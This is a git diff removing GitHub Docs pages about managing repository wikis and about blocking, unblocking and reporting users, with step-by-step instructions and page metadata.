/articles/editing-wiki-pages-via-the-online-interface - - /articles/adding-and-editing-wik-pages-locally - - /articles/adding-and-editing-wiki-pages-locally - - /articles/adding-or-editing-wiki-pages - - /github/building-a-strong-community/adding-or-editing-wiki-pages -product: '{% data reusables.gated-features.wikis %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: Manage wiki pages ---- - -## Adding wiki pages - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-wiki %} -1. In the upper-right corner of the page, click **New Page**. -1. Optionally, to write in a format other than Markdown, use the "Edit mode" dropdown to choose a different format. - - ![Screenshot of the "Create new page" page. The "Edit mode" dropdown is outlined in dark orange.](/assets/images/help/wiki/wiki-edit-mode-dropdown.png) - -1. Use the text editor to add your page's content. -1. In the "Edit message" field, type a commit message describing the new file you’re adding. -1. To commit your changes to the wiki, click **Save Page**. - -## Editing wiki pages - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-wiki %} -1. Using the wiki sidebar on the right, navigate to the page you want to change. In the upper-right corner of the page, click **Edit**. -1. Use the text editor to edit the page's content. -1. In the "Edit message" field, type a commit message describing the new file you’re adding. -1. To commit your changes to the wiki, click **Save Page**. - -## Adding or editing wiki pages locally - -Wikis are part of Git repositories, so you can make changes locally and push them to your repository using a Git workflow. - -### Cloning wikis to your computer - -Every wiki provides an easy way to clone its contents down to your computer. -Once you've created an initial page on {% data variables.product.github %}, you can clone the repository to your computer with the provided URL: - -```shell -$ git clone https://github.com/YOUR-USERNAME/YOUR-REPOSITORY.wiki.git -# Clones the wiki locally -``` - -Once you have cloned the wiki, you can add new files, edit existing ones, and commit your changes. You and your collaborators can create branches when working on wikis, but only changes pushed to the default branch will be made live and available to your readers. - -## About wiki filenames - -The filename determines the title of your wiki page, and the file extension determines how your wiki content is rendered. - -Wikis use [our open-source Markup library](https://github.com/github/markup) to convert the markup, and it determines which converter to use by a file's extension. For example, if you name a file _foo.md_ or _foo.markdown_, wiki will use the Markdown converter, while a file named _foo.textile_ will use the Textile converter. - -Don't use the following characters in your wiki page's titles: `\ / : * ? " < > |`. Users on certain operating systems won't be able to work with filenames containing these characters. Be sure to write your content using a markup language that matches the extension, or your content won't render properly. diff --git a/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md b/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md deleted file mode 100644 index 9f7f8084d204..000000000000 --- a/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Changing access permissions for wikis -intro: 'Only repository collaborators can edit a public repository''s wiki by default, but you can allow anyone with an account on {% data variables.location.product_location %} to edit your wiki.' -product: '{% data reusables.gated-features.wikis %}' -redirect_from: - - /articles/changing-access-permissions-for-wikis - - /github/building-a-strong-community/changing-access-permissions-for-wikis -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: Change access permissions ---- - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under Features, deselect **Restrict editing to collaborators only**. - -## Further reading - -* [AUTOTITLE](/communities/documenting-your-project-with-wikis/disabling-wikis) diff --git a/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md b/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md deleted file mode 100644 index d910d3e1c2ae..000000000000 --- a/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Creating a footer or sidebar for your wiki -intro: You can add a custom sidebar or footer to your wiki to provide readers with more contextual information. -redirect_from: - - /articles/creating-a-footer - - /articles/creating-a-sidebar - - /articles/creating-a-footer-or-sidebar-for-your-wiki - - /github/building-a-strong-community/creating-a-footer-or-sidebar-for-your-wiki -product: '{% data reusables.gated-features.wikis %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: Create footer or sidebar ---- - -## Creating a footer - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-wiki %} -1. At the bottom of the page, click **Add a custom footer**. -1. Use the text editor to type the content you want your footer to have. -1. In the "Edit message" field, enter a commit message describing the footer you’re adding. -1. To commit your changes to the wiki, click **Save Page**. - -## Creating a sidebar - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-wiki %} -1. Click **Add a custom sidebar** on the right side of the page. -1. Use the text editor to add your page's content. -1. In the "Edit message" field, enter a commit message describing the sidebar you’re adding. -1. To commit your changes to the wiki, click **Save Page**. - -## Creating a footer or sidebar locally - -If you create a file named `_Footer.<extension>` or `_Sidebar.<extension>`, we'll use them to populate the footer and sidebar of your wiki, respectively. Like every other wiki page, the extension you choose for these files determines how we render them. diff --git a/content/communities/documenting-your-project-with-wikis/disabling-wikis.md b/content/communities/documenting-your-project-with-wikis/disabling-wikis.md deleted file mode 100644 index 60cfaf771f8e..000000000000 --- a/content/communities/documenting-your-project-with-wikis/disabling-wikis.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Disabling wikis -intro: You can disable your repository's wiki. -product: '{% data reusables.gated-features.wikis %}' -redirect_from: - - /articles/disabling-wikis - - /github/building-a-strong-community/disabling-wikis -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community ---- - -When you turn off a wiki, the content is hidden, but not erased. If you choose to re-enable wikis later, your previous pages will be restored. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under Features, deselect **Wikis**. - -## Further reading - -* [AUTOTITLE](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis) diff --git a/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md b/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md deleted file mode 100644 index 00b149f0d7bb..000000000000 --- a/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Editing wiki content -intro: 'You can add images and links to content in your wiki, and use some supported MediaWiki formats.' -redirect_from: - - /articles/adding-links-to-wikis - - /articles/how-do-i-add-links-to-my-wiki - - /articles/how-do-i-add-or-upload-images-to-the-wiki - - /articles/needs-writing-review-how-do-i-add-or-upload-images-to-the-wiki - - /articles/how-do-i-add-images-to-my-wiki - - /articles/adding-images-to-wikis - - /articles/supported-mediawiki-formats - - /articles/editing-wiki-content - - /github/building-a-strong-community/editing-wiki-content -product: '{% data reusables.gated-features.wikis %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community ---- - -## Adding links - -You can create links in wikis using one of the following formats. For example: - -* If your pages are rendered with Markdown, the link syntax is `[Link Text](full-URL-of-wiki-page)`. -* With MediaWiki syntax, the link syntax is `[[Nameofwikipage|Link Text]]`. - -## Adding images - -Wikis can display PNG, JPEG, and GIF images. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-wiki %} -1. Using the wiki sidebar, navigate to the page you want to change, and then click **Edit**. -1. In the wiki toolbar, click {% octicon "image" aria-hidden="true" %}. - - ![Screenshot of the toolbar on the edit page of the wiki. The icon to add an image is outlined in dark orange.](/assets/images/help/wiki/wiki-add-image.png) - -1. In the "Insert Image" dialog box, type the image URL and the alt text (which is used by search engines and screen readers). -1. Click **OK**. - -### Linking to images in a repository - -You can link to an image in a repository on {% data variables.product.github %} by copying the URL in your browser and using that as the path to the image. For example, embedding an image in your wiki using Markdown might look like this: - - [[https://github.com/USERNAME/REPOSITORY/blob/main/img/octocat.png|alt=octocat]] - -## Adding mathematical expressions and diagrams - -{% data reusables.getting-started.math-and-diagrams %} - -## Supported MediaWiki formats - -No matter which markup language your wiki page is written in, certain MediaWiki syntax will always be available to you. -* Horizontal rules via `---` -* Shorthand symbol entities (such as `δ` or `€`) - -For security and performance reasons, some syntaxes are unsupported. -* [Transclusion](https://www.mediawiki.org/wiki/Transclusion) -* Definition lists -* Indentation -* Table of contents diff --git a/content/communities/documenting-your-project-with-wikis/index.md b/content/communities/documenting-your-project-with-wikis/index.md deleted file mode 100644 index 8dab59d7308f..000000000000 --- a/content/communities/documenting-your-project-with-wikis/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Documenting your project with wikis -shortTitle: Using wikis -intro: 'You can use a wiki to share detailed, long-form information about your project.' -redirect_from: - - /categories/49/articles - - /categories/wiki - - /articles/documenting-your-project-with-wikis - - /github/building-a-strong-community/documenting-your-project-with-wikis -product: '{% data reusables.gated-features.wikis %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -children: - - /about-wikis - - /adding-or-editing-wiki-pages - - /creating-a-footer-or-sidebar-for-your-wiki - - /editing-wiki-content - - /viewing-a-wikis-history-of-changes - - /changing-access-permissions-for-wikis - - /disabling-wikis ---- - diff --git a/content/communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes.md b/content/communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes.md deleted file mode 100644 index acf6f50ac675..000000000000 --- a/content/communities/documenting-your-project-with-wikis/viewing-a-wikis-history-of-changes.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Viewing a wiki's history of changes -intro: 'Because wikis are Git repositories, every change you make is a commit that you can view.' -product: '{% data reusables.gated-features.wikis %}' -redirect_from: - - /articles/viewing-a-wiki-s-history-of-changes - - /articles/viewing-a-wikis-history-of-changes - - /github/building-a-strong-community/viewing-a-wikis-history-of-changes -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -shortTitle: View a history of changes ---- - -## Viewing wiki history - -Wiki history includes: -* The user who made the change -* The commit message they provided -* When the change was made - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-wiki %} -1. Using the wiki sidebar, navigate to the page whose history you want to view. -1. At the top of the wiki, click the revision link. - - ![Screenshot of the title of a wiki page. The revision link is outlined in dark orange.](/assets/images/help/wiki/wiki-revision-link.png) - -## Viewing previous content - -On the wiki history table, you can click a [SHA-1 hash](https://en.wikipedia.org/wiki/SHA-1) -(the sequence of letters and numbers to the far right) to see a wiki page as it -existed at a particular point in time. - -![Screenshot of the revisions page. The wiki's SHA number is outlined in dark orange.](/assets/images/help/wiki/wiki-sha-number.png) - -## Comparing two revisions - -1. Select two rows that you want to compare. -1. At the top of the history table, on the right side, click **Compare Revisions**. -1. You'll see a diff of the changes showing which lines were added, removed, and -modified. - -## Reverting previous changes - -You can only revert changes if you have permission to edit the wiki. - -1. Select a row that you want to revert. -1. At the top of the history table, on the right side, click **Compare Revisions**. -1. You'll see a diff of the changes showing which lines were added, removed, and modified. -1. To revert the newer changes, click **Revert Changes**. diff --git a/content/communities/index.md b/content/communities/index.md deleted file mode 100644 index b3ed8dcfbdbf..000000000000 --- a/content/communities/index.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Building communities documentation -shortTitle: Building communities -intro: 'Learn best practices for moderating and setting up collaborative, safe, and effective communities using GitHub’s community-tested tools.' -redirect_from: - - /categories/building-a-strong-community - - /github/building-a-strong-community -changelog: - label: wikis -featuredLinks: - startHere: - - /communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors - - /communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project - - /communities/moderating-comments-and-conversations/managing-disruptive-comments - guideCards: - - /communities/documenting-your-project-with-wikis/editing-wiki-content - - /communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account - - /communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization - popular: - - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository - - /communities/maintaining-your-safety-on-github/reporting-abuse-or-spam - - /communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository - - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository -layout: product-landing -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Community -children: - - /setting-up-your-project-for-healthy-contributions - - /using-templates-to-encourage-useful-issues-and-pull-requests - - /moderating-comments-and-conversations - - /maintaining-your-safety-on-github - - /documenting-your-project-with-wikis ---- - diff --git a/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization.md b/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization.md deleted file mode 100644 index 5f2563b95ae0..000000000000 --- a/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization.md +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Blocking a user from your organization -intro: Organization owners and moderators can block anyone who is not a member of the organization from collaborating on the organization's repositories. -redirect_from: - - /articles/blocking-a-user-from-your-organization - - /github/building-a-strong-community/blocking-a-user-from-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Community -shortTitle: Block from your org ---- - -You can block non-members from within your organization's settings or from a specific comment made by a user. When you block a user in a comment, you can choose to send the user a notification explaining that they were blocked and why. Otherwise, the user is not directly notified that you've blocked them. Blocked users can still delete their existing content. - -{% data reusables.organizations.blocking-a-user %} - -> [!TIP] -> If you're blocking a user because of a heated conversation, consider locking the conversation so only collaborators can comment. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/locking-conversations). - -At the time that you block a user from your organization: -* The user stops watching your organization's repositories -* The user's stars and issue assignments are removed from your repositories -* The user's votes on discussions or comments in your organization's repositories are deleted -* The user is removed as a collaborator on your organization's repositories -* The user's contributions to your organization's repositories are no longer counted as contributions for them -* Any pending repository or organization invitations to the blocked user are canceled - -After you've blocked a user from your organization, they cannot: -* Cross-reference your organization's repositories in comments -* Fork, watch, pin, or star your organization's repositories - -In your organization's repositories, blocked users also cannot: -* Open issues -* Send, close, or merge pull requests -* Comment on issues, pull requests, or commits -* Add or edit wiki pages - -## Blocking a user in a comment - -1. Navigate to the comment whose author you would like to block. -1. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="Show options" %}, then click **Block user**. - - ![Screenshot of a pull request comment by octo-user. Below an icon of three dots, a dropdown menu is expanded, and "Block user" is outlined in orange.](/assets/images/help/repository/comment-menu-block-user.png) - -1. If you'd like to set a time limit for the block, select the **Block user** dropdown menu, and click the amount of time you'd like to block the user. -1. If you'd like to hide all of the comments the user has made in the organization, select **Hide this user's comments** and choose a reason. -1. If you'd like to notify the user why they're being blocked, select **Send a notification to this user**. -1. To block the user, click **Block user from organization** or **Block user from organization and send message**. - -## Blocking a user in the organization settings - -{% ifversion ghec %} - -> [!WARNING] -> To completely block a user when your enterprise or organization enforces SAML single sign-on (SSO) through an identity provider (IdP), in addition to blocking the user on {% data variables.product.github %}, you should also **remove the user's assignment to the {% data variables.product.github %} application in your IdP**. -> -> Not revoking access in your IdP configuration means the user could potentially regain access to the enterprise or organization via SSO. - -{% endif %} - -1. To block an organization member, first [remove the user](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization) from the organization. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.block_users %} -1. Under "Block a user", in the text field, type the username of the user you'd like to block. -1. If you'd like to set a time limit for the block, next to the text field, select the **Block options** dropdown menu, and click the amount of time you'd like to block the user. -1. Click **Block user**. -1. Optionally, to add a note to describe why a user was blocked, click **Add Note**. The note will be visible to the owners and moderators of the organization. - -## Blocking a user on a discussion - -1. Navigate to the discussion whose author you would like to block. -1. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="Show options" %}, then click **Block user**. - - ![Screenshot of a pull request comment by octo-user. Below an icon of three dots, a dropdown menu is expanded, and "Block user" is outlined in orange.](/assets/images/help/repository/comment-menu-block-user.png) - -1. If you'd like to set a time limit for the block, select the **Block user** dropdown menu, and click the amount of time you'd like to block the user. -1. If you'd like to hide all of the comments the user has made in the organization, select **Hide this user's comments** and choose a reason. -1. If you'd like to delete just the discussion you're viewing, select **Delete this discussion**. -1. If you'd like to delete all of the discussions the user has made in the organization, select **Delete all of USER's discussions in ORGANIZATION**. -1. Click **Block user from organization**. - -## Further reading - -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) diff --git a/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account.md b/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account.md deleted file mode 100644 index ec9123fec8a6..000000000000 --- a/content/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Blocking a user from your personal account -intro: 'You can block a user to deny them access to your activity and repositories, and to prevent them from sending you notifications.' -redirect_from: - - /articles/blocking-a-user-from-your-personal-account - - /github/building-a-strong-community/blocking-a-user-from-your-personal-account -versions: - fpt: '*' - ghec: '*' -topics: - - Community -shortTitle: Block from your account ---- - -## About blocking users - -You can block a user in your account settings or from the user's profile. {% data variables.product.prodname_dotcom %} will not notify the user when you block them. If you want to avoid contributing to the same project as someone you've blocked, you can choose to display a warning on any repositories with prior contributions from a blocked user. For more information, see [Blocking a user in your account settings](#blocking-a-user-in-your-account-settings). You may still see the activity of blocked users in shared spaces and blocked users can delete their existing content. - -> [!TIP] -> If you're blocking a user because of a heated conversation, consider locking the conversation so only collaborators can comment. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/locking-conversations). - -When you block a user: -* The user stops following you -* The user stops watching and unpins your repositories -* The user's stars and issue assignments are removed from your repositories -* The user's votes on discussions or comments in your repositories are deleted -* The user is removed as a collaborator on your repositories -* The user's contributions to your repositories are no longer counted as contributions for them -* Your contributions to the blocked user's repositories are no longer counted as contributions for you -* You are removed as a collaborator on their repositories -* Their sponsorship of you is canceled -* Any pending repository or account successor invitations to or from the blocked user are canceled -* The user is removed as a collaborator from all the projects and {% data variables.projects.projects_v1_boards %} owned by you -* You are removed as a collaborator from all the projects and {% data variables.projects.projects_v1_boards %} owned by the user - -After you've blocked a user, they cannot: -* Send you any notifications, including by [@mentioning](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams) your username -* Comment on or edit issues or pull requests that you've created -* React to your comments on issues, pull requests, and commits -* Follow you or see your content in their activity feed -* Assign you to issues or pull requests -* Invite you as a collaborator on their repositories -* Invite you as a collaborator on a security advisory -* Cross-reference your repositories in comments -* Fork, watch, pin, or star your repositories -* Sponsor you -* Add you as a collaborator on their projects and {% data variables.projects.projects_v1_boards %} -* Make changes to your public projects and {% data variables.projects.projects_v1_boards %} - -In repositories you own, blocked users also cannot: -* Open issues -* Send, close, or merge pull requests -* Comment on issues, pull requests, or commits -* Add or edit wiki pages - -## Blocking a user in your account settings - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.blocked_users %} -1. Under "Block a user", type the username of the user you'd like to block, then click **Block user**. -1. Optionally, to add a note to describe why a user was blocked, click **Add Note**. The note will only be visible to you. -1. Optionally, you can display a warning when you visit a repository where a blocked user is a contributor. Under "Blocked users", select **Warn me when a blocked user is a prior contributor to a repository**. - -## Blocking a user from their profile page - -{% data reusables.profile.user_profile_page_navigation %} -{% data reusables.profile.user_profile_page_block_or_report %} -1. Optionally, add a note to describe why a user was blocked. The note will only be visible to you. -1. Click **Block user**. - -> [!NOTE] -> If you're being harassed, visit {% data variables.contact.contact_support_page %} to report abuse. {% data reusables.policies.abuse %} - -## Further reading - -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/viewing-users-youve-blocked-from-your-personal-account) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) -* [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) diff --git a/content/communities/maintaining-your-safety-on-github/index.md b/content/communities/maintaining-your-safety-on-github/index.md deleted file mode 100644 index 1933dffc8d27..000000000000 --- a/content/communities/maintaining-your-safety-on-github/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Maintaining your safety on GitHub -shortTitle: Maintaining safety -intro: 'To build a positive and safe environment for yourself and the community for your project on {% data variables.product.prodname_dotcom %}, you can block and unblock users and report disruptive content.' -redirect_from: - - /articles/encouraging-positive-contributions-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/encouraging-positive-contributions-in-your-organization - - /github/building-a-strong-community/encouraging-positive-contributions-to-your-project - - /articles/encouraging-positive-contributions-to-your-project - - /github/building-a-strong-community/maintaining-your-safety-on-github -versions: - fpt: '*' - ghec: '*' -topics: - - Community -children: - - /blocking-a-user-from-your-personal-account - - /viewing-users-youve-blocked-from-your-personal-account - - /unblocking-a-user-from-your-personal-account - - /blocking-a-user-from-your-organization - - /viewing-users-who-are-blocked-from-your-organization - - /unblocking-a-user-from-your-organization - - /reporting-abuse-or-spam ---- - diff --git a/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md b/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md deleted file mode 100644 index 98f491bdc07d..000000000000 --- a/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Reporting abuse or spam -intro: You can report behavior and content that violates community guidelines and terms. -permissions: 'Owners, collaborators, prior contributors, and people with write access can report issues, pull requests, discussions, and comments on issues, pull requests, discussions, and commits. Anyone can report apps in {% data variables.product.prodname_marketplace %}.' -redirect_from: - - /articles/reporting-abuse-or-spam - - /github/building-a-strong-community/reporting-abuse-or-spam -versions: - fpt: '*' - ghec: '*' -topics: - - Community ---- - -## About reporting abuse or spam - -{% data reusables.policies.github-community-guidelines-and-terms %} - -You can report users that have violated {% data variables.product.prodname_dotcom %}'s Community Guidelines or Terms of Service. You can also report issues, pull requests, or comments on issues, pull requests, and commits. - -If reported content is enabled for a public repository, you can also report content directly to repository maintainers. - -## Reporting a user - -{% data reusables.profile.user_profile_page_navigation %} -{% data reusables.profile.user_profile_page_block_or_report %} -1. Click **Report abuse**. -1. Complete the contact form to tell {% data variables.contact.github_support %} about the user's behavior, then click **Submit**. - -## Reporting an organization - -{% data reusables.organizations.navigate-to-org %} -1. In the right sidebar, under the "Top languages" section, click **Report abuse**. -1. Complete the contact form to tell {% data variables.contact.github_support %} about the organization's behavior, then click **Submit**. - -## Reporting a repository - -{% data reusables.repositories.navigate-to-repo %} -1. In the right sidebar, under the "About" section, click **Report repository**. -1. Complete the contact form to tell {% data variables.contact.github_support %} about the repository's behavior, then click **Submit**. - -## Reporting an issue or pull request - -1. Navigate to the issue or pull request you'd like to report. -1. In the upper-right corner of the issue or pull request, click {% octicon "kebab-horizontal" aria-label="Show options" %}, then click **Report content**. - - ![Screenshot of an issue description. In the header, a kebab icon is outlined in dark orange.](/assets/images/help/repository/menu-report-issue-or-pr.png) -{% data reusables.community.report-content %} - -## Reporting a discussion - -1. Navigate to the discussion you'd like to report. -1. In the upper-right corner of the discussion, click {% octicon "kebab-horizontal" aria-label="Discussion options" %}, then click **Report content**. - - ![Screenshot of a discussion. The option to report content in the kebab menu is outlined with dark orange.](/assets/images/help/discussions/report-discussion.png) - -1. Select an email address and a category, then click **Send request**. - -## Reporting a comment - -1. Navigate to the comment you'd like to report. -1. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="Show options" %}, then click **Report content**. - - ![Screenshot of a comment. In the header, a kebab icon is outlined in dark orange.](/assets/images/help/repository/menu-report-issue-or-pr.png) -{% data reusables.community.report-content %} - -## Reporting an app in {% data variables.product.prodname_marketplace %} - -{% data reusables.marketplace.visit-marketplace %} -1. Browse to the app you'd like to report. -1. In the left sidebar, under the "Developer links" section, click **Report abuse**. - - ![Screenshot of the sidebar of a {% data variables.product.prodname_marketplace %} app. A link, labeled "Report abuse", is outlined in dark orange.](/assets/images/help/marketplace/marketplace-report-app.png) -1. Complete the contact form to tell {% data variables.contact.github_support %} about the app's behavior, then click **Send request**. - -## Reporting contact link abuse in the template chooser - -1. Navigate to the repository that contains the contact link you'd like to report. -1. Under the repository name, click **{% octicon "issue-opened" aria-hidden="true" %} Issues**. -1. In the lower-right corner of the template chooser, click **Report abuse**. -1. Complete the contact form to tell {% data variables.contact.github_support %} about the contact link's behavior, then click **Send request**. - -> [!NOTE] -> * In order to get accurate information about the abuse, the abuse report form will direct you to use the in-product abuse report links. If an in-product link is not available, contact {% data variables.contact.contact_support %} to report abuse or report content. -> * Users in India can contact {% data variables.product.prodname_dotcom %}'s Grievance Officer for India through [support.github.com/contact/india-grievance-officer](https://support.github.com/contact/india-grievance-officer). - -## Further reading - -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions) -* [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests) -* [AUTOTITLE](/communities/moderating-comments-and-conversations/managing-disruptive-comments) -* [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) -* [AUTOTITLE](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment) diff --git a/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md b/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md deleted file mode 100644 index 1ce44bb5b72f..000000000000 --- a/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Unblocking a user from your organization -intro: 'Organization owners and moderators can unblock a user who was previously blocked, restoring their access to the organization''s repositories.' -redirect_from: - - /articles/unblocking-a-user-from-your-organization - - /github/building-a-strong-community/unblocking-a-user-from-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Community -shortTitle: Unblock from your org ---- - -After unblocking a user from your organization, they'll be able to contribute to your organization's repositories. - -If you selected a specific amount of time to block the user, they will be automatically unblocked when that period of time ends. For more information, see [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization). - -> [!TIP] -> Any settings that were removed when you blocked the user from your organization, such as collaborator status, stars, and watches, will not be restored when you unblock the user. - -## Unblocking a user in a comment - -1. Navigate to the comment whose author you would like to unblock. -1. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="Show options" %}, then click **Unblock user**. - - ![Screenshot of a pull request comment by octo-user. Below an icon of three dots, a dropdown menu is expanded, and "Unblock user" is outlined in orange.](/assets/images/help/repository/comment-menu-unblock-user.png) - -1. To confirm you would like to unblock the user, click **OK**. - -## Unblocking a user in the organization settings - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.block_users %} -1. Under "Blocked users", next to the user you'd like to unblock, click **Unblock**. - -## Further reading - -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) diff --git a/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account.md b/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account.md deleted file mode 100644 index 0b34c88cb682..000000000000 --- a/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Unblocking a user from your personal account -intro: 'If you''ve mended fences with a {% data variables.product.prodname_dotcom %} user you''ve blocked, you can unblock their account.' -redirect_from: - - /articles/unblocking-a-user-from-your-personal-account - - /github/building-a-strong-community/unblocking-a-user-from-your-personal-account -versions: - fpt: '*' - ghec: '*' -topics: - - Community -shortTitle: Unblock from your account ---- - -When you unblock a user, they'll be able to invite you to be a collaborator to their repositories. If they [@mention you](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams) anywhere on GitHub, you'll receive notifications. - -In repositories you own, the user will be able to collaborate normally. - -You can unblock a user in your account settings or from the user's profile page. - -## Unblocking a user in your account settings - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.blocked_users %} -1. Under "Blocked users", next to the user you'd like to unblock, click **Unblock**. - -## Unblocking a user from their profile page - -{% data reusables.profile.user_profile_page_navigation %} -1. In the left sidebar, below the user's profile information, click **Unblock or report user**. - - ![Screenshot of the sidebar of a user's profile page. A link, labeled "Unblock or report", is outlined in dark orange.](/assets/images/help/profile/profile-unblock-or-report-user.png) -1. Click **Unblock user**. - -> [!TIP] -> Settings that were removed when you blocked the user, such as collaborator status, stars, and follows, are not restored when you unblock the user. - -## Further reading - -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization) -* [AUTOTITLE](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) diff --git a/content/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization.md b/content/communities/maintaining-your-safety-on-github/viewing-users-who-are-blocked-from-your-organization.md deleted file mode 100644 index 7b23ebb7aa40..000000000000 